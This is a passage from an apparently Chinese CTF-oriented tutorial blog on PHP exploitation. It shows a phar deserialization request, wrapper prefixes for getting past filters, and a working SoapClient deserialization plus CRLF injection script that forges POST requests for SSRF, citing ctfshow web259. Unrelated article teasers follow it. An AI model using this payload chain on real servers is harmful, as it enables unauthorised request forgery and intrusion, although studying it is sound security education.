              params={0:r'O:4:"User":1:{s:4:"name";s:6:"cllsse";}'},
              data={0:'phar://./p3.zip'}
              )
print(res.text)

在这里插入图片描述

利用参考

NSSCTF平台-第一周Prize赛题

2. 绕过

压缩绕过关键字匹配

phar://不能出现在首部

compress.zlib://phar://
compress.bzip2://phar://
php://filter/resource=phar://

脚本构造phar文件

详见Lazzaro佬的脚本

7. Soap反序列化

SOAP : Simple Object Access Protocol简单对象访问协议。

SOAP简单的理解就是这样的一个开放协议SOAP=RPC+HTTP+XML:
采用HTTP作为底层通讯协议;RPC(远程过程调用)作为一致性的调用途径,XML作为数据传送的格式,允许服务提供者和服务客户经过防火墙在INTERNET进行通讯交互。

采用HTTP作为底层通讯协议,XML作为数据传送的格式,正常情况下的SoapClient类,调用一个不存在的函数,会去调用__call方法。

https://www.w3.org/TR/2000/NOTE-SOAP-20000508/#_Toc478383528

以下是发送到WebXml.com.cn的SOAP请求,用于查询广东省支持的城市

POST /WebServices/WeatherWebService.asmx HTTP/1.1  
  
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; MS Web Services Client Protocol 2.0.50727.3603)  
Content-Type: text/xml; charset=utf-8  
SOAPAction: "http://WebXml.com.cn/getSupportCity"  
Host: www.webxml.com.cn  
Content-Length: 348  
Expect: 100-continue  
Connection: Keep-Alive  
  
<?xml version="1.0" encoding="utf-8"?>  
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"   
                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"   
                xmlns:xsd="http://www.w3.org/2001/XMLSchema">  
  <soap:Body>  
    <getSupportCity xmlns="http://WebXml.com.cn/">  
      <byProvinceName>广东</byProvinceName>  
    </getSupportCity>  
  </soap:Body>  
</soap:Envelope>  

其中

POST请求的URL指向的是SOAP服务的端点,即服务器上处理SOAP请求的具体位置。

SOAPAction HTTP头部用于指示客户端想要调用的SOAP操作的URI。

CRLF漏洞

又称HTTP响应拆分漏洞(HRS),CRLF是\r\n(回车换行)的简称。

HTTP协议中,HTTP Header与HTTP Body使用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP内容。

所以我们可以以类似http://127.0.0.1/%0d%0aSet-Cookie:%20a=1的方式注入Set-Cookie

SOAPAction可控,则存在CRLF漏洞,POST请求的header可控。

Content-TypeSOAPAction的上面,就无法控制Content-Type,也就不能控制POST的数据。

在header里User-AgentContent-Type前面,user_agent同样可以注入CRLF,控制Content-Type的值。

php.ini 去除extension=php_soap.dll或者extension=soap的注释。

<?php

$target = 'http://127.0.0.1:999/';
$post_string = 'data=something';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    //client1, proxy1, proxy2, proxy3
    //'127.0.0.1,127.0.0.1,127.0.0.1,127.0.0.1'手动占位
    'Cookie: PHPSESSID=my_session'
    );
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'cllsse^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=> "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo $aaa;echo '<br>';
//echo urlencode($aaa);

$c = unserialize($aaa);
$c->not_exists_function();//SoapClient类调用一个不存在的函数,会去调用__call()方法
?>

如上,使用SoapClient反序列化+CRLF可以生成任意POST请求

Deserialization + __call + SoapClient + CRLF = SSRF

如果发送到 Cloudflare 的请求中不含现有的 X-Forwarded-For 标头,X-Forwarded-For 将具有与 CF-Connecting-IP 标头相同的值

示例:X-Forwarded-For:203.0.113.1

如果发送到 Cloudflare 的请求中已存在 X-Forwarded-For 标头,则 Cloudflare 会将 HTTP 代理的 IP 地址附加到这个标头:

示例:X-Forwarded-For:203.0.113.1,198.51.100.101,198.51.100.102

在这里插入图片描述

参考了 ctfshow web259(soapclient+crlf)

回头可以去试试探姬的反序列化靶场。

参考文章

  1. CTF中常用PHP特性总结 gxngxngxn

  2. 反序列化 Lazzaro

  3. curl命令详解 魔降风云变

  4. php伪协议详解 小哥不太逍遥

  5. php伪协议 lorexxar

  6. 浅析命令执行 quan9i

  7. PHP反序列化基础完全解析 kengwang

  8. 带你走进PHP session反序列化漏洞 panda

  9. SOAP和WSDL的一些必要知识(转) - 红无酒伤 - 博客园 (cnblogs.com)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/802536.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

jdk22+maven环境配置教程+idea的maven环境配置(Windows系统)

前言 jdk是Java开发必要的编程环境&#xff0c;idea是常用的Java开发工具&#xff0c;这里着重解释一下maven。 maven就是我们经常看见的pom.xml文件&#xff0c;maven有以下三点功能&#xff1a; 1.项目构建&#xff08;可以帮助我们更快速的打包、构建项目&#xff09; 2.依…

<数据集>钢铁缺陷检测数据集<目标检测>

数据集格式&#xff1a;VOCYOLO格式 图片数量&#xff1a;1800张 标注数量(xml文件个数)&#xff1a;1800 标注数量(txt文件个数)&#xff1a;1800 标注类别数&#xff1a;6 标注类别名称&#xff1a;[crazing, patches, inclusion, pitted_surface, rolled-in_scale, scr…

Blender使用(二)点线面基本操作

Blender使用之点线面 1.编辑模式 tab键进行切换&#xff0c;为了方便菜单调出&#xff0c;可以设置键位映射为拖动时的饼菜单。 设置好后&#xff0c;按住tab键移动鼠标(注意不要点击鼠标)&#xff0c;即可弹出编辑菜单。 默认是点模式&#xff0c;在左上角可进行点线面的切换…

C++从入门到精通(第2版) 中文电子版

前言 C&#xff08;c plus plus&#xff09;是一种计算机高级程序设计语言&#xff0c;由C语言扩展升级而产生&#xff0c;最早于1979年由本贾尼斯特劳斯特卢普在AT&T贝尔工作室研发。C既可以进行C语言的过程化程序设计&#xff0c;又可以进行以抽象数据类型为特点的基于对…

[C++] 由浅入深理解面向对象思想的组成模块

文章目录 (一) 类的默认成员函数(二) 构造函数构造函数的特征构造函数示例无参构造带参构造 冲突:全缺省参数的构造函数与无参构造函数 &#xff08;三&#xff09;析构函数特性析构函数的析构过程解析 &#xff08;四&#xff09;拷贝构造函数什么是拷贝构造&#xff1f;特性为…

H2数据库启动时,设置非“全零监听”

全零监听 全零监听&#xff08;即将监听地址设置为全零地址&#xff0c;如IPv4中的0.0.0.0或IPv6中的::&#xff09;在网络服务配置中确实存在一定的安全风险。以下是全零监听可能带来的安全风险&#xff1a; 1. 暴露服务到不安全网络 全网段监听&#xff1a;将监听地址设置…

nuitka 打包python程序成windows exe可执行文件

参考&#xff1a; https://www.zhihu.com/question/281858271/answer/2466245521 https://www.zhihu.com/question/281858271 https://zhuanlan.zhihu.com/p/689115995 https://blog.csdn.net/Pan_peter/article/details/136411229 下载&#xff1a; pydantic-2.6.1 pydantic-…

【linux高级IO(三)】初识epoll

&#x1f493;博主CSDN主页:杭电码农-NEO&#x1f493;   ⏩专栏分类:Linux从入门到精通⏪   &#x1f69a;代码仓库:NEO的学习日记&#x1f69a;   &#x1f339;关注我&#x1faf5;带你学更多操作系统知识   &#x1f51d;&#x1f51d; Linux高级IO 1. 前言2. 初识e…

微服务到底是个什么东东?

微服务架构是一种架构模式&#xff0c;它提倡将单一应用程序划分成一组小的服务&#xff0c;服务之间互相协调、互相配合&#xff0c;为用户提供最终价值。 每个服务运行在其独立的进程中&#xff0c;服务和服务间采用轻量级的通信机制互相沟通&#xff08;通常是基于 HTTP 的…

在设计电气系统时,电气工程师需要考虑哪些关键因素?

在设计电气系统时&#xff0c;电气工程师需要考虑多个关键因素&#xff0c;以确保系统的安全性、可靠性、效率和经济性。我收集归类了一份plc学习包&#xff0c;对于新手而言简直不要太棒&#xff0c;里面包括了新手各个时期的学习方向编程教学、问题视频讲解、毕设800套和语言…

浅析stm32启动文件

浅析stm32启动文件 文章目录 浅析stm32启动文件1.什么是启动文件&#xff1f;2.启动文件的命名规则3.stm32芯片的命名规则 1.什么是启动文件&#xff1f; 我们来看gpt给出的答案&#xff1a; STM32的启动文件是一个关键的汇编语言源文件&#xff0c;它负责在微控制器上电或复位…

SpringBoot使用开发环境的application.properties

在Spring Boot项目中&#xff0c;application.properties 或 application.yml 文件是用于配置应用程序外部属性的重要文件。这些文件允许定制你的应用&#xff0c;而无需更改代码。根据不同的运行环境&#xff0c;可以通过创建以application-{profile}.properties格式命名的文件…

高效运转!便携式果汁机必备霍尔板

文章目录 文章目录 前言 一、 直流电机原理 二、 通过霍尔传感器控制无刷直流电机 三、 霍尔在霍尔板上的位置 前言 今天给大家带来一款运用在果汁机上的霍尔板&#xff0c;饮料再好&#xff0c;终归是饮料&#xff0c;果汁再好喝&#xff0c;也不如自己亲自榨得健康。 生活水…

『大模型笔记』什么是 AI 智能体?

『大模型笔记』什么是 AI 智能体? 文章目录 一. 什么是 AI 智能体?从单一模型向复合 AI 系统的转变示例:查询假期天数复合 AI 系统的模块化设计检索增强生成(RAG)AI 智能体的作用大语言模型智能体的组成部分推理能力行动能力访问记忆的能力ReACT 方法示例:度假计划复合 A…

dom4j 操作 xml 之按照顺序插入标签

最近学了一下 dom4j 操作 xml 文件&#xff0c;特此记录一下。 public class Dom4jNullTagFiller {public static void main(String[] args) throws DocumentException {SAXReader reader new SAXReader();//加载 xml 文件Document document reader.read("C:\\Users\\24…

Python数据结构之实现自定义栈与队列详解

概要 在计算机科学中,栈(Stack)和队列(Queue)是两种常见的数据结构。它们在算法和数据处理方面有着广泛的应用。本文将详细介绍如何在Python中实现自定义的栈与队列,并包含详细的示例代码,帮助深入理解这两种数据结构的工作原理和使用方法。 栈(Stack) 什么是栈 栈…

科普文:Java8、9、10、11的新特性

概叙 详细8、9、10、11的新特性见官方的Whats New Home: Java Platform, Standard Edition (Java SE) 8 Release 8 Whats New in JDK 8 Oracle JDK 9 Documentation Java Platform, Standard Edition What’s New in Oracle JDK 9, Release 9 JDK 10 Documentation JDK …

美式键盘 QWERTY 布局的起源

注&#xff1a;机翻&#xff0c;未校对。 The QWERTY Keyboard Is Tech’s Biggest Unsolved Mystery QWERTY 键盘是科技界最大的未解之谜 It’s on your computer keyboard and your smartphone screen: QWERTY, the first six letters of the top row of the standard keybo…

launch4j和inno setup组合使用:保姆级教程【搬代码】

launch4j&#xff1a; 将jar包打成exe&#xff0c;并且将exe赋值.icon图片 此页面选择ico图片路径不要有汉字&#xff0c;不然报错 这个图没抓住用一下上一个文章的图&#xff0c;就是这个意思 查看结果&#xff1a; 下面使用inno Setup搞成安装包&#xff1a; 双击 点击…

从汇编层看64位程序运行——栈保护

大纲 栈保护延伸阅读参考资料 在《从汇编层看64位程序运行——ROP攻击以控制程序执行流程》中&#xff0c;我们看到可以通过“微操”栈空间控制程序执行流程。现实中&#xff0c;黑客一般会利用栈溢出改写Next RIP地址&#xff0c;这就会修改连续的栈空间。而编译器针对这种场景…